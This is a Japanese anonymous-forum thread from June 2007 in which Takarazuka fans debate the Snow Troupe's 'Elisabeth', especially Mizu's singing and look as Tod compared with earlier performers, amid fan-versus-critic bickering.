222 ：名無しさん＠花束いっぱい。：2007/06/16(土) 15:22:49 ID:zWGkdHTT

223 ：名無しさん＠花束いっぱい。：2007/06/16(土) 15:23:15 ID:S6ebAS7Y

でも、きっと劇団がわたるさんに王家をやらせた理由は
別のところにあったと思うよ。好きだったよ、王家。

224 ：名無しさん＠花束いっぱい。：2007/06/16(土) 15:36:21 ID:b0LVfmpo

「わたるより別のところ」に、星で王家をさせた理由があるやろが。
コパカバーナの惨状、観てないんか。
下手よりは上手いほうがいいに決まってる。

225 ：名無しさん＠花束いっぱい。：2007/06/16(土) 15:36:42 ID:zWGkdHTT

>223
>好きだったよ、王家。

すごくうれしい☆
そっかぁ、歌が、、、て人も劇団がやらせる
"理由"があるんやろうね
とりあえず「客入るから」て理由でない事を祈るorz

226 ：名無しさん＠花束いっぱい。：2007/06/16(土) 15:40:11 ID:GjozXarO

ワタルさんは初演で嵌り役だったからね。
歌手で再演されても
「ラダメスは男らしくて包容力がないと！アムネリスは美人でないと！」って言われる気がする。
エリザはやっぱり歌レベルの高い雪のイメージが。

227 ：名無しさん＠花束いっぱい。：2007/06/16(土) 15:41:41 ID:w/lEnT43

王家って、アイーダ（安蘭けい）ありきの演目でしょ。

228 ：名無しさん＠花束いっぱい。：2007/06/16(土) 15:43:04 ID:S6ebAS7Y

アイーダひとりじゃ、舞台って成り立たないんだよ。

229 ：名無しさん＠花束いっぱい。：2007/06/16(土) 16:21:13 ID:fZSgty2g

歌偏重の人は、きっと内野トートも武田トートもダメなんだろうね。

230 ：名無しさん＠花束いっぱい。：2007/06/16(土) 16:26:52 ID:smxruo5z

>>229
内野トートは最初見たときあんまりな歌に驚愕したけど
再演していくうちに凄く上手くなったよね。
そういうところが主要を同一キャストで再演した東宝の良さだと思う。

231 ：名無しさん＠花束いっぱい。：2007/06/16(土) 16:28:31 ID:zWGkdHTT

>226
あぁ、そうなんかもね
歌はともかく（わたるファンやがここは認めるw）
役はハマってた☆

>228
せやで！

>227
でも、そういう気持ちわからんでもないorz

しかし、歌重視なら、汐美さん、まとぶん、箙さん（専科）、
一樹さん（専科）はよかったで！とうこちゃんは確かに色々揃ってて
上手いけどね。ただ、歌偏重の人から観ても「ありき」やないで！

232 ：名無しさん＠花束いっぱい。：2007/06/16(土) 16:31:26 ID:zWGkdHTT

>224
わたるファンやが、その気持ち
わからんでもない、、、けど、カッコええやん！
て、ビジュアルに走ってしまうけど、、、

皆さんごめんなさい、エリザから外れてもうたorz

233 ：名無しさん＠花束いっぱい。：2007/06/16(土) 16:32:40 ID:9tgGqwsP

>>229
歌の下手な人がミュージカルに出るなんて
宝塚とアイドルだけかと思ってたのでびっくりした。

234 ：名無しさん＠花束いっぱい。：2007/06/16(土) 16:44:19 ID:fZSgty2g

レミゼだって、かがバルジャンも滝田バルジャンも歌唱自体は微妙だったし…。

235 ：名無しさん＠花束いっぱい。：2007/06/16(土) 17:08:52 ID:WSV8AGAE

水さんって初めてみたの鳳凰伝だったんだけど、
あんまり成長してないなぁってのが正直なところ。本当に歌が頼りない。
腹筋が弱いのかな。

あと歌が上手くならないなーってのはワタルもだったかな。
水さん程じゃない、かな。

236 ：名無しさん＠花束いっぱい。：2007/06/16(土) 17:30:33 ID:8ALZVM3l

ぶったぎり、すいません。
昨日の雪エリザ（初見）ですが、登場と同時にこけたヘレネ、
あれは、仕込みなのでしょうか？それともアクシデント？
見事なこけっぷりに、仕込みに見えてたのですが、
宝塚ではああいうことしないような気がして・・・。

237 ：名無しさん＠花束いっぱい。：2007/06/16(土) 17:33:43 ID:iyyFGs86

ほんとここミズ叩きの巣窟だな。
あの手この手でミズを叩く、アンチ大集合ってかんじ。

238 ：名無しさん＠花束いっぱい。：2007/06/16(土) 17:34:21 ID:zWGkdHTT

>236
毎回こけてるから仕込み

239 ：名無しさん＠花束いっぱい。：2007/06/16(土) 17:38:37 ID:fZSgty2g

大劇場楽が近いからね。
水のトートはまったく駄目という烙印を捺して終わりたいのさ。
そのために、少しでも水に良いこと書き込んだら、必ず否定しに出でくる。
とにかく水トートを全否定したいわけよ。

240 ：名無しさん＠花束いっぱい。：2007/06/16(土) 17:39:03 ID:WSV8AGAE

>>237
アンチ大集合もだけど、話をそらしてミズを擁護する
ミズ基地大集合のスレでもあるっぽい。

241 ：名無しさん＠花束いっぱい。：2007/06/16(土) 17:41:46 ID:iyyFGs86

>>239
なるほどね、そういうわけか。
ミズ叩きが激しくなったの、初日明け以来、最近だもんな。
最初で叩きのめして、最後でまた叩きまくる。
念の入ったことで。

242 ：名無しさん＠花束いっぱい。：2007/06/16(土) 17:49:49 ID:zWGkdHTT

>235
ええ、ええ、確かにワタルは歌下手でしたorz
演技も、、、う～ん、、、。でも、ダンスがホンマがええねん！！

ミズさんも確かにアンチ言うように歌上手いとはおもいません。
まりこやさえちゃんも確かにです。
でも、ミズトートはよかったと思うし、歌出来る限り本人は頑張ってた！
（喉大丈夫か心配。。。でも、喉つぶれてるのが逆に良かったかも）
まりこは優しいトートで、あれはあれでよかった！さえはビジュアルええやん！
確かにミュージカルは歌やけど、言うたとこで始まらん。

俺の結論は確かにミュージカルは歌うまい方が良い！と思う。しかし、エリザも
ミズが「自分やりたいっす」て言ったわけやないし、決めたのは劇団やし、
多分ミズは「歌、頑張ろう」と思って精一杯やってるやろうしね。結果良いと思う。

歌下手が気に入らないなら、やっぱこれは劇団のせいやろ。多分やけどミズファンも
「ミズさん歌最高」と思ってるわけやないやろし（思ってたらごめん）、「まあ、歌はね」
て思ってると思う。だからそんな攻撃は無意味や。

243 ：名無しさん＠花束いっぱい。：2007/06/16(土) 17:56:33 ID:zICmpDH4

ここで何と言われてようと、下手だったミズの歌は、星影中日から比べても
飛躍的に上達してる。
エリザに関して言えば、大事に歌ってて、音程ははずしてないし
低音部が以前より出るようになって、本人比で音域が広くなった。
高音は以前からきれに響いてた。
マイクが高性能になっても、音程と音域まではカバーしてくれない。
上手には届かないけど、独創的な役創りと合わせて
宝塚のトートとしては十分成立してると思う。

244 ：名無しさん＠花束いっぱい。：2007/06/16(土) 17:56:41 ID:5lCtGKlP

ミズやとなみがどうとかってのは、ともかくとして
正直エリザ上演しすぎっす。とりあえず月で全組上演したんだから
十年くらい…そうねぇ、100周年記念くらいに上演って方が良かった気がする。

曲もテーマも重厚なのを、こんなに間隔あけないでやると
重みがなくなる。

245 ：名無しさん＠花束いっぱい。：2007/06/16(土) 18:02:47 ID:jEQabVyV

昔からのファンはそうかもしれないけど、
ＤＶＤでは見たけど生はないから見て見たいっていうファン層も多いよ。
それなのに、そういう人はチケットがとれなかったりする。

246 ：名無しさん＠花束いっぱい。：2007/06/16(土) 19:07:39 ID:S6ebAS7Y

やっぱり生のエリザはいいよ。
だから、10年なんて、たぶん待てない。
また観たくなってしまう。
月のときも、従者役の明日海りおちゃん発見して、嬉しかった。
主要人物だけでなく、隅々まで観てしまう。話がわかってるから。

247 ：名無しさん＠花束いっぱい。：2007/06/16(土) 19:38:30 ID:u7o3M2nU

とりあえず「歌」劇団であり､その専門分野の社会で､バラエティーや他テレビジャンルの仕事を多くするわけでもなく､日夜舞台をメインとして日々精進して音楽学校含めたらほぼ半生｡
初舞台後14年選手?となる人の歌唱力が完璧でないことに対して､多少の非難や問題点をあげただけで239や241のような発想になるようだと…
240の言う通り､過剰擁護ｦﾀ連中も大集合｡

248 ：名無しさん＠花束いっぱい。：2007/06/16(土) 19:47:14 ID:Xf+rVfH1

はじめてここ覗いたけど、水ファンって水トート擁護のために、
歴代トートを貶してからなのね。
水トートが良かったと思うように、歴代トートも同じようにファンがいるのに。
水トートだけほめればいいものを、何も他のトートでは感動できなかった場面が
どうのこうのと言うな。

249 ：名無しさん＠花束いっぱい。：2007/06/16(土) 19:49:13 ID:ETU7I+Um

長文の音痴擁護、いい加減にしてくれない？！
他にいいところがあればいいじゃん。
歌上手いエリザは次に期待しましょう。

250 ：名無しさん＠花束いっぱい。：2007/06/16(土) 20:01:04 ID:6u9UnCyU

>239
ミズファンっていつも自分たちの論理で人を判断するね～
自分たちが、自分たちの意見（ミズトートマンセー！）以外を全て廃除しようとするからって
他の人間も同じだと思わないで欲しいわ。

ミズファンがミズトートを誉めるのは構わない。
だが、他のトートを貶してから、ミズトートで初めてトートで泣けただの
自分の理想のトートだの、別館にでも書けばいいようなことを散々書いたあげくに
ミズトートが気に入らなかった人間は皆生で見てないって決めつけて廃除するのは止めろ！って言ってるんだよ。

おかげで、ミズマンセーのﾔｼがいつも生の舞台を見ずにミズを誉め、他を貶しまくってるのは判ったがｗ

251 ：名無しさん＠花束いっぱい。：2007/06/16(土) 20:25:46 ID:YfrR0VaO

とりあえず、アンチもファンも
ミズを語るときには異常に長文になることだけはわかった。

ミズのことしか語らんのはやめてくれんか。とくに250のような、
長文なのにエリザについてすら語ってないのは。

252 ：名無しさん＠花束いっぱい。：2007/06/16(土) 20:44:52 ID:GjozXarO

アンチ「歌えないトートなんて観たくないし自慢のビジュアルも大したことない最低のトート。
歌がマシって思ってるのはファンだけ」
痛いファン「歌だって技術があるだけじゃ感動しない、トートの○○に初めて感動した
アンチはとにかく否定したいんでしょ」

月エリザと全く同じ流れです、本当にありが（ｒｙ

253 ：名無しさん＠花束いっぱい。：2007/06/16(土) 20:46:54 ID:yf6noBJz

ミズトートはねえ、歌もさることながらビジュが悪いんだよ。
ファンは好きなのかもしれないが、どうにも受け付けない。
ヅカ的「夢」の部分がそっくり抜け落ちた現実的な「爬虫類」を
トートとして許容しろと言われてもﾓﾆｮﾙ。
黄泉の帝王「死」としての威厳と品格に欠けるんだよね。
爬虫類の感触としての冷たさは感じるけど、
これまでのトートに形容されるクール、もしくはクールビューティとはほど遠いしなあ。
皇后への愛と言うよりは執着＆執念にしかみえないし、ストーカー度が歴代一。
あれでは最後にシシィが「死」を受け入れる意味がさっぱりわからん。
とにかく焦点がずれている感じが、どうにも見ていて収まりが悪いんだよね。

254 ：名無しさん＠花束いっぱい。：2007/06/16(土) 20:57:57 ID:SdV5xXYi

>251
>とりあえず、アンチもファンも
>ミズを語るときには異常に長文になることだけはわかった。

ファンは分かるけど、アンチも長文でここがダメってのを熱く語るよね。
アンチの書きこみは、とにかく全否定なんですぐ分かるけど。

255 ：名無しさん＠花束いっぱい。：2007/06/16(土) 21:02:56 ID:yf6noBJz

宝塚のエリザスレで主役のトート語りが長くなるのは仕方が無いのでは？
否定したり批判したりするのをアンチと決め付けるのはどうかと。
まあ、ファンにとっては許せないのかもしれないが
エリザファンとしてはミズトートが許せないわけでｗ
しかも、ミズと比べようも無いほど良い出来の歴代トートを貶してるんだから
驚くと言うよりは呆れるし。

256 ：名無しさん＠花束いっぱい。：2007/06/16(土) 21:03:07 ID:9tgGqwsP

爬虫類より鳥みたいと思った。
頑丈な爪、手首から指のライン。
コートひらひらの所は羽を広げての威嚇か求愛。
蛇みたいに舌がチロチロ見えるようって言ってる人がいたけど、
あの紋章の鷹も舌出てるし。
オチが孔雀だったけど。

257 ：名無しさん＠花束いっぱい。：2007/06/16(土) 21:41:03 ID:EOUmG/OT

あーたしかに鷹っぽいかも。
いいじゃん、かっこよくて、鷹。

258 ：名無しさん＠花束いっぱい。：2007/06/16(土) 21:56:02 ID:S6ebAS7Y

あ～あ、またいつもの流れに。
今まで感じたことが無かったと書いたら、即　過去トート否定になるの？
今までは漫然と観てしまっていたが、ってこともあるのに。
水マンセーと捉えるかどうかは、読み手次第に思えるけど。

>256 私もあまり爬虫類とは思わなかった。冷たそうだけど
猛禽類かも？

259 ：名無しさん＠花束いっぱい。：2007/06/16(土) 21:56:52 ID:b99W9DMg

鳥系トート・・・なるほど。翼もあるし。

水のヴィジュアル悪くはないけれど
もっと似合う髪型があるんじゃないかと思ってしまう。
面長にワンレングスだと顔がすごく長く大きく見えてしまうから。
緑は似合うよ。

となみのお見合いドレスの色（ペールブルー）は正解だね。
良く似合う。

260 ：名無しさん＠花束いっぱい。：2007/06/16(土) 21:59:24 ID:/4lpwVGI

>259
あのドレス可愛いね。大好き。

261 ：名無しさん＠花束いっぱい。：2007/06/16(土) 22:00:43 ID:9tgGqwsP

鳥に見えたところもう一つあった。
腕をあげる時に肩から動いてる事。

262 ：名無しさん＠花束いっぱい。：2007/06/16(土) 22:02:46 ID:3K3Y1w/0

いまさらだけど、映画オペラ座の怪人の劇中劇中で
クリスティーヌがエリザみたいな格好してるけど可愛い。鏡の間そのまんま。

263 ：名無しさん＠花束いっぱい。：2007/06/16(土) 22:06:09 ID:v3eF68oc

でもたぶん、ミズ、カールくりんな髪型はもっと似合わない気がする…。

264 ：名無しさん＠花束いっぱい。：2007/06/16(土) 22:10:23 ID:S9l0Xw5y

水トートを許せないのって、エリザファンより過去トートファンが多い気がする。
作品ファンは、今回のエリザも結構受け入れてるような。
批評探してブログ巡った感想だから、そうじゃない人もいるだろうけど。

ポスター見た時にちょっと思ったな、あの爪で>鳥トート

265 ：名無しさん＠花束いっぱい。：2007/06/16(土) 22:22:16 ID:9tgGqwsP

許せないとまで言うのはやっぱりアンチでしょう。
これは違う、私は駄目なら宝塚のエリザファンにも結構いるだろうと思う。

266 ：名無しさん＠花束いっぱい。：2007/06/16(土) 22:22:26 ID:14PDmCy8

水ファンって傲慢。

267 ：名無しさん＠花束いっぱい。：2007/06/16(土) 22:43:11 ID:eCwjkr00

初演から東宝含め全部見てますが
全ての歴代トートが「比べようもないほど
出来が良い」とはとても言えませんw

268 ：名無しさん＠花束いっぱい。：2007/06/16(土) 22:50:07 ID:EtS0VvoR

他人の悪口ばっかりのヤツはさ、実生活で幸せになれない人なのよ。
そんな人を恋人に持ちたいと思う人は少数派でしょう。
嫁や旦那に対して、ちょっと気に入らないと、相手を否定し悪口言いたい放題だったら、
浮気されるか、離婚をつきつけられるかどっちか。
そんな親の姿を見て育つ子どもも、他人を否定し悪口を言うのが当たり前になり、
友達の少ないカワイそうな子になることでしょう。

だから言わせておけばいい。

土曜の午後に必死にアンチ活動してるなんて、さびしい人生だね。
彼氏とデートしたり、子どもや旦那と出かけたりが普通でしょ。

269 ：名無しさん＠花束いっぱい。：2007/06/16(土) 22:50:51 ID:fZSgty2g

だから水トートを否定したいだけなんだって。
私も東宝を含め日本で演じられたすべてのトートをみてるけど
それぞれに個性があり、評価できるところとそうでないところがあった。
すべてを叩きたいというのは、アンチの発想だよ。

270 ：名無しさん＠花束いっぱい。：2007/06/16(土) 23:02:53 ID:f4Krjwby

充分あなた方もミズトート以外を叩いたり言いたい放題ですが
それは有りなんですね？
ミズトート以外なら何を言ってもいいというように受け取れますが。
他人のことを言えないのではないでしょうか。
ヒマなのはあなた方も一緒でしょう？
ここに張り付いて批判や否定意見を排除するのに必死。
呪文のように、アンチアンチと唱えていればミズトートの評価が上がるわけでもないのに。

271 ：名無しさん＠花束いっぱい。：2007/06/16(土) 23:12:13 ID:4aqI0LPO

なるほど、ミズトートの評価を下げるために、必至にここに張り付いてるわけか・・。

272 ：名無しさん＠花束いっぱい。：2007/06/16(土) 23:13:24 ID:EtS0VvoR

さびしい人釣れました！

可哀想に、すべてが他人の悪口や否定に感じられるのですね。

水以外のトートが「よくない」とか、「ありえない」とか、
アンチ様がお使いになる言葉は使ってないと思いますが。

明日父親参観だから、もう寝なきゃね。
１日中ネットにはりつくヒマのある人がうらやましい。

273 ：名無しさん＠花束いっぱい。：2007/06/16(土) 23:16:26 ID:28D/rhrt

今日観てきた、2回目　1回目観たのは2日目だったかな
ﾄﾓﾀﾞﾁが、ﾌｨﾅｰﾚの雉羽根が初日明けてすぐぐらいは元気で
緑も濃くまっすぐﾋﾟﾝﾋﾟﾝしてたのに、楽近くになると緑が色褪せて
羽がｶｰﾌﾞ描いてた、と言ってた
羽もﾗｲﾄ浴びたり揺らされたりと、激務なんだな…(´･ω･`)

274 ：名無しさん＠花束いっぱい。：2007/06/16(土) 23:16:29 ID:f4Krjwby

こんなとこに張り付いてなくても評価は低いでしょｗ
評判が良い時はファンが張り付いてなくても自然に「気」のようなものが
盛り上がってるもの。
ここは張り付いてるファンが必死なだけ。
本当に傲慢なファンが鬱陶しい。

275 ：名無しさん＠花束いっぱい。：2007/06/16(土) 23:19:10 ID:4aqI0LPO

一番むなしいのは、嫌いな生徒のために、自分の時間を
こんな場所で無駄に使っている輩のことだろうな。
そんなことしても、贔屓は誉めてはくれないだろう。

276 ：名無しさん＠花束いっぱい。：2007/06/16(土) 23:25:56 ID:XO70wCQb

912 名前：名無し募集中。。。[sage] 投稿日：2007/06/16(土) 23:21:31
ヅカ板のエリザスレ読むのやめた
肝心のエリザの話なんかほとんど無くて批判や煽りばっかり
完全に狼以下だ

貴方たちモーヲタ以下って言われてますよ　モーヲタに

277 ：名無しさん＠花束いっぱい。：2007/06/16(土) 23:26:33 ID:ZzW5quWn

水ﾌｧﾝは気付いてるんだよ。
自分達が必死で盛り上げないと水のﾄｰﾄは評判にもならないことを。
比較的広域ﾌｧﾝがいる情報スレで、まったくと言って良いほど話題にもならない。
脅威にもならない忘れられた存在なんだよ。
そりゃぁ必死で張りついて悪評はつぶさなきゃな。

278 ：名無しさん＠花束いっぱい。：2007/06/16(土) 23:36:37 ID:4aqI0LPO

分かってないねえ。
情報スレで話題になったら、そっち行くでしょｗ
雪スレで話題になったら、そっち行くでしょ。
ここは体のいいミズアンチ隔離スレなんだよ。

279 ：名無しさん＠花束いっぱい。：2007/06/16(土) 23:39:58 ID:f4Krjwby

情けない。ミズファンて・・・

280 ：名無しさん＠花束いっぱい。：2007/06/16(土) 23:49:29 ID:UYDNDWHH

気に入らない書き込み＝アンチなら
アンチでいいよ　いやむしろアンチになる！
アンチじゃなかったから、気をつかって汚い言葉
ひどい言葉をさけたのに、水ファンはひどい言葉をかえしてきた。
もう遠慮なくここでいう！
水トートは気持ち悪い妖鳥だった。!
歌はもちろん、ヴィジュアルも一番うけつけない最低のトートだった！

281 ：名無しさん＠花束いっぱい。：2007/06/16(土) 23:54:05 ID:v3eF68oc

もう、どっちもうるさい！

282 ：名無しさん＠花束いっぱい。：2007/06/17(日) 00:32:03 ID:ILkgrRez

今日キッチュアドリブどんな物ですか？

283 ：名無しさん＠花束いっぱい。：2007/06/17(日) 00:34:53 ID:ofIlm4RG

>282
今日は美人が多いと思ったら三井住友VISAカードの貸切でしたか
ﾜﾀｼも持ってるんですよ、ほらね
　（ここでｷﾑ手造りｶｰﾄﾞ登場　ご丁寧に裏にｷﾑの写真入りw
　それを客席の人にあげる）
それじゃ写真撮りますからね～

みたいな感じ
細かいﾄｺが違うかもしれない

284 ：名無しさん＠花束いっぱい。：2007/06/17(日) 00:38:59 ID:Vbx58YYy

>282
午前は、美人ばかりですね～。ホントですよ～と言いながら
手でゴマをする仕草。

285 ：名無しさん＠花束いっぱい。：2007/06/17(日) 11:33:13 ID:+C113S2E

まあさ、ミュージカルは歌うまい方がいいやろ思う。
俺はワタルファンやが、正直ルキーニ観たときは真顔になったからな（逝
トム、リカが俺の中で良すぎたのもあるかも）
ベルバラもタータン、ジュリで、ワタルもっと頑張れぇぇぇぇっ！て思った
（しかし、ダンスはワタルが一番カッコよすぎた！）
今はタニ好きで、エリザやってくれたら嬉しいけど、まあ、歌は、、、ねえ？
タニがやれば歌うまい二番手の蘭寿、ホクショはトートやらんのかと思うとフクザツ。。。

問題は宝塚の授業ちゃうか？
どうか、もっと歌の指導に力入れて下さい。

286 ：名無しさん＠花束いっぱい。：2007/06/17(日) 11:39:02 ID:xGnnIJIo

そんなわたるも、外部のミュージカル舞台で女優ﾃﾞﾋﾞｭｰ。
ダムヤンなかなか好評だったらしいね。

287 ：名無しさん＠花束いっぱい。：2007/06/17(日) 15:12:51 ID:W8XHpAMy

指導でどうにかなるとこまでやってあの位なんでしょう。
音感とかリズム感は生まれつきの要素大きいし。
あとは轟音でどうにかするとか、粘りすぎて訳が解らなくなるとか、
流し目で気を散らしちゃえとか。

288 ：名無しさん＠花束いっぱい。：2007/06/17(日) 15:50:21 ID:+C113S2E

>286
ワタルの女。。。パッサージュ？やったけな？
女の姿で踊っていた彼女に違和感を覚えたw
ダムヤンは内容もおもしろかったみたいやね☆
あくまでヅカ好きなので、観ていないけど
好きな人の良い評価は素直にうれしい☆

>287
流し目に一票w
でも、死ぬ程練習したらどうにかなると思う
だって、トップになってマシになるのは納得いかん！
ワタルも王家で本人比（あくまで本人比やで）でうまくなってたしね

289 ：名無しさん＠花束いっぱい。：2007/06/17(日) 18:32:32 ID:oyUMXExo

わたるさんってトップになってから更に歌が下手になったよね。
というか歌が増えてごまかすにも限界を超えたっていうか。
水しぇんは一生懸命取り組んでるだけ好感をもてるよ。
欠点を補おうとしてビジュアルに力いれる努力も怠らないし。
となみちゃんと一緒にどうすれば綺麗に見えるかを研究してたって聞いたよ。
本当に努力家だよね。
わたるさんのような大らかな人もいいけど、水しぇんのようなストイックな人の相手役になれて、
となみちゃんも勉強になったんじゃないかな。

290 ：名無しさん＠花束いっぱい。：2007/06/17(日) 18:54:44 ID:+C113S2E

>289
いや、下手にはなってへんやろ！
上手くはなったで！（あくまで本人比）
ワタル好きやが、トップになる前は何回真顔になったか。。。

ま、上手くなった言うても、下手なんは認める。

291 ：名無しさん＠花束いっぱい。：2007/06/17(日) 19:04:18 ID:rn0Eihr5

>>289
まるでわたるが努力してないみたいな言い方だな

292 ：名無しさん＠花束いっぱい。：2007/06/17(日) 19:15:08 ID:r2xgJS9C

よけいなこと言うやつばっかり…。
ファンやったらホンマ恐いわ。

293 ：名無しさん＠花束いっぱい。：2007/06/17(日) 19:19:38 ID:LiNg+NNL

>289ﾀﾝて・・
なりすましの煽りって気がするんですけど、
・・・緑色のわたしにも。

294 ：名無しさん＠花束いっぱい。：2007/06/17(日) 19:20:01 ID:xySJvVpn

>>289　ヘタな煽り乙。

295 ：名無しさん＠花束いっぱい。：2007/06/17(日) 19:21:16 ID:LiNg+NNL

293ですが・・青くなってた！あれ？

296 ：名無しさん＠花束いっぱい。：2007/06/17(日) 19:56:36 ID:W8XHpAMy

技術的に下手になることはあんまりないよね。
変な癖がつくことはあるけど。
耳の肥えた歌にこだわるファンはどうだかわかんないけど、個人的には
トップとして下手なりに腹を括れるかどうかにかかってると思う。
ミズはまだ歌に対してちょっと遠慮してるよ～。

297 ：名無しさん＠花束いっぱい。：2007/06/17(日) 20:49:45 ID:r2xgJS9C

ちぇ…そうか…。「水しぇん」につられちまったよ。

298 ：名無しさん＠花束いっぱい。：2007/06/17(日) 21:14:30 ID:hx36P9wj

水の声ってこもるからなぁ。理事の低さとはちょっと違うんだよね。
一路やズンコ、おさみたいに歌えないってのは最初からわかってるん
だけど、それでもトートって台詞喋るより歌ってるほうが多いからさ。
そこで表現しそこねてるのは痛いよね。

299 ：名無しさん＠花束いっぱい。：2007/06/17(日) 21:22:03 ID:J82CzZIZ

何とでも言ってくれい。

300 ：名無しさん＠花束いっぱい。：2007/06/17(日) 22:09:11 ID:uw2A27Tu

男だけど、宝塚さいこー！

あまり叩かないでね＞＜、

301 ：名無しさん＠花束いっぱい。：2007/06/17(日) 22:14:09 ID:hMgDy6nM

>>298
ミズは少なくともマリコさんよりはずっと歌えてたよ。
まあ、比較の対象がちょっとアレだけどもさ。
でもマリコトートも好きなんだよ。
もはや巧くないところが好きかもしれない。
黄泉の帝王は美声で歌うまなんてプログラムには書いてないしさ。

302 ：名無しさん＠花束いっぱい。：2007/06/17(日) 22:20:05 ID:Hcx9kPC8

>>301
ミズ好きだけどマリコさん貶してまで褒めてもらわなくてもいいです。

マリコトートは、その存在感がもの凄かった。
一路さんの後で大変なプレッシャーだったろうに
麻路ならではのトート像を創り上げたことは素晴らしいと思う。

303 ：名無しさん＠花束いっぱい。：2007/06/17(日) 22:58:40 ID:u6Xs7RIr

歌もだけど、気持ち悪いのが一番のネック。
ストーリが分かってても、となみエリザに
え～そっちに行くんかいって、つっこみたくなる。

観劇後に、なんだかな～感がどうしょうもなく残った。

304 ：名無しさん＠花束いっぱい。：2007/06/17(日) 23:04:52 ID:ImiH69Z4

マリコトートは存在感とか威圧感ではピカ一だったと思う。
「帝王」っぽく君臨していた。
私はマリコトートが一番好みかも。（いや、歌は下手だけどさw）

エリザベートしか宝塚は観ない（東宝エリザが好きだからその流れで）友人が
先日雪エリザを観に行って、ミズトートにハマって帰ってきたよ。
ちなみにその子はこれまで「春野トートが一番」とか言ってて
なんでまた正反対のミズトートにハマったのか、いまひとつ理解できないんだけどねw
ミュージカルである以上、そして歌劇団である以上、歌は歌えないといけないわけだけど、
トートという役は歌だけで成り立っている役ではないし
宝塚スターもしかり、なんだな～と改めて感じた今回の雪エリザでした。

305 ：名無しさん＠花束いっぱい。：2007/06/17(日) 23:15:41 ID:u+SEsQMT

>>304
同感。
ワタクシも今まで俺様系ズントートが一番だと思っていたが、全くタイプの違うミズトートにどっぷりはまったよ～。
でも、どのトートもそれぞれ好きだった。
トートって割とアクの強い人に似合うね。

306 ：名無しさん＠花束いっぱい。：2007/06/17(日) 23:24:54 ID:TJJ+HO4o

○○より歌えてた・○○よりよかった系の比較はやめようぜ>301
アンチに餌まきたくないんでね。
語るならミズトートで語ってくれ。

307 ：名無しさん＠花束いっぱい。：2007/06/18(月) 00:05:15 ID:ld+sbBIN

わたくしはファンですので、ミズトートが大好きです。
でも歌に関してはオサさんやゆみこさんくらい、
低音部や最後がのびればいいなぁ～といつも思ってます。
でもでも、そうなるとミズではなくなるので、いまのままでいいです。
本人比でいいので、上達していってくれればうれしいのです。

308 ：名無しさん＠花束いっぱい。：2007/06/18(月) 00:14:50 ID:fEOD0Ihu

黒天使がすごく良くなってる。
閣下の感情の波動が広がって、そのまま黒天使のダンスになってる。
閣下もみたいけど、黒天使もみたい。
黒天使の全体のフォーメーションもみたいけど、一人一人もがっつりみたい。
ほんと目がいくつあっても足りないよ。

309 ：名無しさん＠花束いっぱい。：2007/06/18(月) 00:38:19 ID:iBpFg2f+

>308
本当に黒天使の上達に驚いた！
初日近くで見たときは、何だか可愛い子らが踊っている感じだったのに、
楽近くで見たら、すごく成長していたよ。ビシッと決まっているから、
閣下の手の動きと黒天使の動きが一体化して、閣下がいろんな人を
動かしているのがよく伝わるようになっていた。

310 ：名無しさん＠花束いっぱい。：2007/06/18(月) 12:13:22 ID:jmo9PYBr

>291 >294
わかる人はわかるわな☆

311 ：名無しさん＠花束いっぱい。：2007/06/18(月) 13:53:15 ID:1CVa+GVc

トートと子ルドが遊んでいる所へ、ゾフィが現れますが、
トートの姿はゾフィや重臣達には見えていない。
フランツにも見えない（最終答弁除く）。
でも、女官達には見える。
ですか？

312 ：名無しさん＠花束いっぱい。：2007/06/18(月) 21:38:15 ID:bqbjXief

私も今回は黒天使に一票!
初日近くに見たときから､黒天使に感動した!
まさにトートの分身!
東京も楽しみにしてます!

313 ：名無しさん＠花束いっぱい。：2007/06/18(月) 23:02:07 ID:pSaAIZ0T

黒天使ばんじゃい！ヽ( ﾟ∀ﾟ)/

314 ：名無しさん＠花束いっぱい。：2007/06/18(月) 23:56:40 ID:HoqhCoZO

月組のエリザベートが一番好き！
初風さんの笑顔が最高！

315 ：名無しさん＠花束いっぱい。：2007/06/19(火) 00:17:47 ID:8IIAvC6i

>314　ガイチさんご自身？

316 ：名無しさん＠花束いっぱい。：2007/06/19(火) 00:37:40 ID:Xpny4H7g

ちょｗ
私もガイチフランツ大好きだYO
シシィと出会う場面のニコニコしたフランツが好きですた

317 ：名無しさん＠花束いっぱい。：2007/06/19(火) 00:55:41 ID:4JVzn9k9

>>316
そうそう!あのさわやかな笑顔は素敵だなぁ…DVD観る度にトキめいてるW

けど浮気したりと押しの弱い皇帝だな､母親があんな感じだからしょうがないか

318 ：名無しさん＠花束いっぱい。：2007/06/19(火) 08:31:44 ID:8G0HUXjA

ｶﾞｲﾁﾌﾗﾝﾂはｼｼｲに惚れてる感が前面に出てたな。
ﾕﾐｺもそれに近い。

319 ：名無しさん＠花束いっぱい。：2007/06/19(火) 16:57:33 ID:0EE5MmaI

ガイチのフランツはホントさわやかだった。トートと対をなしてて、
あれはあれでいいなぁと思ったり。品の良さも皇帝にあってたと思う
よ。

320 ：名無しさん＠花束いっぱい。：2007/06/19(火) 17:17:43 ID:6YXVXxFe

昨日、楽見終えての帰り、「エリザ」大好きの人達の
感想きいたけど、皆本当に好みはいろいろだねぇ。
自分の感じた事が一番みたいなんだけど、それぞれ
違うから、やっぱ「エリザ」に正解はないと思った。

321 ：名無しさん＠花束いっぱい。：2007/06/19(火) 21:45:41 ID:C/d82DZX

でもさ～今回の雪版で感じたけど役の捉え方・掘り下げ方を客がここまで
議論したｴﾘｻﾞは今まであったかな。なかったように思うんだが？
ﾄｰﾄとｴﾘｻﾞの捉え方についてあまりつっこまずになあなあにしてた客が
特にﾄｰﾄの外見と内面の対照的な創りこみをみてやっとその世界観を知ったというか・・
ただのﾗﾌﾞｽﾄｰﾘｰじゃなかったんだ！みたいな～意外にわかってないでｴﾘｻﾞ観てた人多かったから。

この雪版はとっても本質にせまったｴﾘｻﾞだったと感じました。

322 ：名無しさん＠花束いっぱい。：2007/06/19(火) 21:50:18 ID:F0w81mGW

>>321
なるほど、

本場がきた影響もあったかもね。

323 ：名無しさん＠花束いっぱい。：2007/06/19(火) 22:41:49 ID:gw82/blC

ビジュアルでも歌でもトートしての説得力に欠けたからだよ。
内面を語る以外トートとしての存在を語りようがなかった。
しかも、その表現方法も納得させるには何か違う感じが否めなかったよ。

324 ：名無しさん＠花束いっぱい。：2007/06/19(火) 23:01:15 ID:llmRBamS

個人的には主役二人はビジュもだめ、歌もだめってところだけど、
それでも嫌いじゃないから、他の面で語るしかないじゃない？

本人比上手くなったけど…やっぱり外には恥ずかしくて出せないよなぁ。

325 ：名無しさん＠花束いっぱい。：2007/06/19(火) 23:03:17 ID:gNIu8NyW

